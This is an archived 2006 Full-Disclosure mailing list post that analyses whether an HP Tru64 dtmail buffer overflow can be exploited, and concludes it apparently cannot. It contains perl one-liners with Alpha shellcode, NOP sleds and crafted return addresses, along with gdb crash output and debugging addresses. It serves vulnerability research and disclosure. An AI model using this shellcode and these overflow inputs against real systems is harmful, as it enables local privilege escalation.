lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Sun, 22 Oct 2006 18:08:01 +0200
From: Roman Medina-Heigl Hernandez <roman@...labs.com>
To: full-disclosure@...ts.grok.org.uk
Cc: tom.willmott@...namclaytrust.com, red@...research.com,
	security-alert@...com, David Morris <dmorris@...ragard.com>
Subject: HP Tru64 dtmail bug - Really exploitable?

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello,

I had a look to this bug and it seems NOT to be exploitable.

More or less according to HP advisory ("HPSBTU02163 SSRT061223") which
marks the impact as POTENTIAL ("Potential Security Impact: Local execution
of arbitrary code") but just the opposite to Netragard advisory, which
marks the bug as "Effort: Easy". They also gave us to understand that they
have an exploit ("proof of concept: undisclosed").

Can somebody at Netregard and/or HP confirm that the bug is truly
exploitable (to escalate privileges)? It would be nice to hear from
Netregard how did they supposedly exploited this. Really.


Analysis and debug info.-
=======================

Summary: It is clearly a buffer overflow but we don't have full control of
attacking string.

The overflowing string is built by concatenating argument passed with "-a"
dtmail option, with the fixed string " does not exist.". So it you run:
"./dtmail -a AAAAAAAA", the "overflowing string" would be:

"AAAAAAAA does not exist."

This is a problem, when combined with 64-bits addresses in Alpha, and the
fact that this kind of addresses always contains NULLs (typical libc
address is 6 bytes, and a stack address uses to be 5 bytes; rest of bytes
are null-padded).

Let's begin...

A first attempt to test the exploitation, could be:
./dtmail -a `perl -e 'print "\x1f\x04\xff\x47"x478 .
pack("I*",0x221efc18,0x42061412,0x47f0d411,0xb230fffc,0xb232fffc,0xd21ffffb,0x420e1415,0x42069414,0x43e79413,0xa235fffc,0x42061410,0xa254fffc,0x42609533,0x46510812,0xb254fffc,0x42809414,0xf67ffffa,0x41414141,0xcf497996,0xca8e9c85,0x3d368888,0xcb6a7c88,0x3f768880,0xcf778c98,0x8888880b,0xcf568c99,0xcd258c98,0xcf778c9a,0xcb6ffc88,0x8888880b,0xe1eaa7a7,0xe0fba7e6,0x88888888,0x88888888)
. pack("Q", 0x0102030405060708)'`

which is:
[many NOPs] [Shellcode] [RET]

The result seems good: we got execution flow directed to our RET address
(0x0102030405060708)

*BUT* if you try to land into our shellcode:
./dtmail -a `perl -e 'print "\x1f\x04\xff\x47"x478 .
pack("I*",0x221efc18,0x42061412,0x47f0d411,0xb230fffc,0xb232fffc,0xd21ffffb,0x420e1415,0x42069414,0x43e79413,0xa235fffc,0x42061410,0xa254fffc,0x42609533,0x46510812,0xb254fffc,0x42809414,0xf67ffffa,0x41414141,0xcf497996,0xca8e9c85,0x3d368888,0xcb6a7c88,0x3f768880,0xcf778c98,0x8888880b,0xcf568c99,0xcd258c98,0xcf778c9a,0xcb6ffc88,0x8888880b,0xe1eaa7a7,0xe0fba7e6,0x88888888,0x88888888)
. pack("Q", 0x11fffe404)'`

you'll see RET address is NOT completely correct :-((. Gdb output:

alpha> gdb -q --nw dtmail core
inst emulated pid=1662 <gdb> va=0x1400f8280 pc=0x12005b708 inst=0x3be00000
(no debugging symbols found)...
warning: big endian file does not match little endian target.
Core was generated by `dtmail'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /sbin/loader...(no debugging symbols found)...done.
Loaded symbols for /sbin/loader
Reading symbols from /usr/shlib/libXmu.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libXmu.so
Reading symbols from /usr/shlib/libDtHelp.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libDtHelp.so
Reading symbols from /usr/shlib/libiconv.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libiconv.so
Reading symbols from /usr/shlib/libDtSvc.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libDtSvc.so
Reading symbols from /usr/shlib/libtt.so...(no debugging symbols found)...done.
Loaded symbols for /usr/shlib/libtt.so
Reading symbols from /usr/shlib/libcxx.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libcxx.so
Reading symbols from /usr/shlib/libDtWidget.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libDtWidget.so
Reading symbols from /usr/shlib/libXm.so...(no debugging symbols found)...done.
Loaded symbols for /usr/shlib/libXm.so
Reading symbols from /usr/shlib/libXt.so...(no debugging symbols found)...done.
Loaded symbols for /usr/shlib/libXt.so
Reading symbols from /usr/shlib/libSM.so...(no debugging symbols found)...done.
Loaded symbols for /usr/shlib/libSM.so
Reading symbols from /usr/shlib/libICE.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libICE.so
Reading symbols from /usr/shlib/libXext.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libXext.so
Reading symbols from /usr/shlib/libX11.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libX11.so
Reading symbols from /usr/shlib/libdnet_stub.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libdnet_stub.so
Reading symbols from /usr/shlib/libm.so...(no debugging symbols found)...done.
Loaded symbols for /usr/shlib/libm.so
Reading symbols from /usr/shlib/libexc.so...(no debugging symbols
found)...done.
Loaded symbols for /usr/shlib/libexc.so
Reading symbols from /usr/shlib/libc.so...(no debugging symbols found)...done.
Loaded symbols for /usr/shlib/libc.so

warning: Hit heuristic-fence-post without finding

warning: enclosing function for address 0x6f6420011fffe404
This warning occurs if you are debugging a function without any symbols
(for example, in a stripped executable).  In that case, you may wish to
increase the size of the search with the `set heuristic-fence-post' command.

Otherwise, you told GDB there was a function where there isn't one, or
(more likely) you have encountered a bug in GDB.
#0  0x6f6420011fffe404 in ?? ()
(gdb)


Do you see what the problem is? Look at the difference:
- - attempted RET: 0x000000011fffe404
- - real RET:      0x6f6420011fffe404

The "0x6f6420" portion corresponds to "do " string, which belongs to the
string that was automatically added (fixed string):
" does not exist.". So we cannot control RET address :-((((

Ways of controlling RET address (so this bug *could* be exploitable):
A) Find a useful RET address without NULLs (i.e. a fully 64-bits address).
Is this possible? Let me hear from you if you know about it.
B) Try to use fixed string to build a valid RET address (not controllable
but perhaps useful).

Let's try option B. This is the fixed string:
" does not exist." (16 bytes + NULL)
[ perl -e 'print
pack("I*",0x656f6420,0x6f6e2073,0x78652074,0x2e747369)."\x00"' ]

RET address is located just after the overflowing string and Alpha is
little-endian, so we could try some kind of off-by-one overflow,
off-by-two, etc. The original RET address (without overflow) is
0x012008df3c. Using this method we can overwrite least significant bytes
(so you can insert bytes from right to left: 0x00, 0x2e, 0x74, 0x73, etc).
But the bytes cannot be arbitrarily chosen, they're taken from the fixed
string (remember?). I tested this method and only found these valid RET
addresses:

B1) 0x012008df00
./dtmail -a `perl -e 'print "\x1f\x04\xff\x47"x474 .
pack("I*",0x221efc18,0x42061412,0x47f0d411,0xb230fffc,0xb232fffc,0xd21ffffb,0x420e1415,0x42069414,0x43e79413,0xa235fffc,0x42061410,0xa254fffc,0x42609533,0x46510812,0xb254fffc,0x42809414,0xf67ffffa,0x41414141,0xcf497996,0xca8e9c85,0x3d368888,0xcb6a7c88,0x3f768880,0xcf778c98,0x8888880b,0xcf568c99,0xcd258c98,0xcf778c9a,0xcb6ffc88,0x8888880b,0xe1eaa7a7,0xe0fba7e6,0x88888888,0x88888888)'`

B2) 0x012008002e
./dtmail -a `perl -e 'print "A"."\x1f\x04\xff\x47"x474 .
pack("I*",0x221efc18,0x42061412,0x47f0d411,0xb230fffc,0xb232fffc,0xd21ffffb,0x420e1415,0x42069414,0x43e79413,0xa235fffc,0x42061410,0xa254fffc,0x42609533,0x46510812,0xb254fffc,0x42809414,0xf67ffffa,0x41414141,0xcf497996,0xca8e9c85,0x3d368888,0xcb6a7c88,0x3f768880,0xcf778c98,0x8888880b,0xcf568c99,0xcd258c98,0xcf778c9a,0xcb6ffc88,0x8888880b,0xe1eaa7a7,0xe0fba7e6,0x88888888,0x88888888)'`

I couldn't find a way to gain control of PC following the former RET addresses.

I gave it up. :-((((((

If you wanna try for yourself, these are some useful debugging
tips/addresses for this bug:

* Trace:
(gdb) bt
#0  0x3ff8013c628 in poll () from /usr/shlib/libc.so
#1  0x3ff806a3854 in _XtWaitForSomething () from /usr/shlib/libXt.so
#2  0x3ff806a6154 in XtAppProcessEvent () from /usr/shlib/libXt.so
#3  0x1200627c4 in post_and_return__15DtMailGenDialogXPc ()
#4  0x120052d84 in handleErrorDialog__10AttachAreaXPcPcPc ()
#5  0x120050740 in
addAttachment__10AttachAreaXPQ16DtMail7MessagePQ16DtMail8BodyPartPcPc ()
#6  0x1200b254c in inclAsAttmt__13SendMsgDialogXPcPc ()
warning: Hit heuristic-fence-post without finding
warning: enclosing function for address 0x102030405060708
(gdb)

* Interesting breakpoints:
Breakpoint 3, 0x120052d08 in handleErrorDialog__10AttachAreaXPcPcPc ()
DIALOG->pulso ok
Breakpoint 1, 0x120062804 in post_and_return__15DtMailGenDialogXPc ()
Breakpoint 4, 0x120052d8c in handleErrorDialog__10AttachAreaXPcPcPc ()
Breakpoint 8, 0x120050ef8 in
addAttachment__10AttachAreaXPQ16DtMail7MessagePQ16DtMail8BodyPartPcPc ()
Breakpoint 9, 0x1200b2558 in inclAsAttmt__13SendMsgDialogXPcPc ()
2: /x $pc = 0x1200b2558
1: /x $ra = 0x102030405060708

In particular, a very interesting address to place a breakpoint in is
0x1200b2558 (which is just the instruction following the reading of return
address from the stack). Print the value of RA register and play with it.

If you're still here, you are some kind of weirdo!! :-)))


PS: Anyway, typical buffer overflows (where you haven't got a fixed and
disturbing string at the end, like in this case) in Tru64 *ARE*
exploitable, as you all probably know.

Cheers,
- -Roman



PERFECT.MATERIAL escribió:
> I think my post was moderated anyway due to my overt racism. But, I
> remember this bug from a while back and I think there was a pointer
> dereferenced before the function returns (which is common with most of
> the CDE bugs). The 64 bit pointer is of course 8 bytes of the string you
> use to smash the buffer, and it requires some NULL bytes which is not
> possible given the architecture. I was a little unclear about this
> (actually, completely wrong) but am still fairly confident this bug
> isn't actually exploitable on TRU64.
> 
> PERFECT.MATERIAL
> 
> 
> On 10/20/06, *Roman Medina-Heigl Hernandez* <roman@...labs.com
> <mailto:roman@...labs.com>> wrote:
> 
> PERFECT.MATERIAL escribió:
>> Correction, TRU64 runs on Alphas in LSB mode. However, this bug is
> still
>> not exploitable. Sorry for the NETRAGARD-like fuckup :D
> 
> I didn't have time enough to test this, but at first sight it seems
> perfectly exploitable.
> 
> Alpha is a "true" 64 bits RISC processor (both data & addressing
> being 64
> bits), little-endian. A typical stack address is something like:
> 0x000000001ffff530 ( "\x30\xf5\xff\x1f\x01\x00\x00\x00" )
> 
> So yes, you have nulls (3, in this case), but at the end of the
> string :-)
> You can try a typical string-alike buffer:
> [ NOPs ... SHELLCODE RET ]
> (stack variables are just before RET, you have not saved frame pointer
> stored here)
> 
> Assuming a typical RET value (like the former one), your exploit should
> rely on memory being "more or less clean", I mean, at least two
> nulls (the
> third one is \0 terminator byte, you can insert it) should be exist
> in the
> memory location where the attack string is being copied (well, at
> the end
> of the string). Is this difficult? I don't think so (but I don't really
> know for sure).
> 
> You can minimize the problem if you use longer RET addreses. For
> instance,
> a typical address inside libc functions could be: 0x3ff800f3810 (so you
> have two nulls, instead of three). You'd have to deal with only one
> residual null value, instead of two. You can try this with a typical
> return
> into libc exploit. This should be also sufficient (and useful) to avoid
> non-executable stack protection, which is enabled by default in Tru64.
> 
> Well, that's the theory... :-)

- --

Saludos,
- -Roman

PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB  29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (MingW32)

iD8DBQFFO5dh5H+KferVZ0IRAqUYAJkBukxl+2XSlTiB5e80B0OFnUA+UACeLXX4
F+jeoGD9/lh2x0AzzJ4WNxY=
=mHTv
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ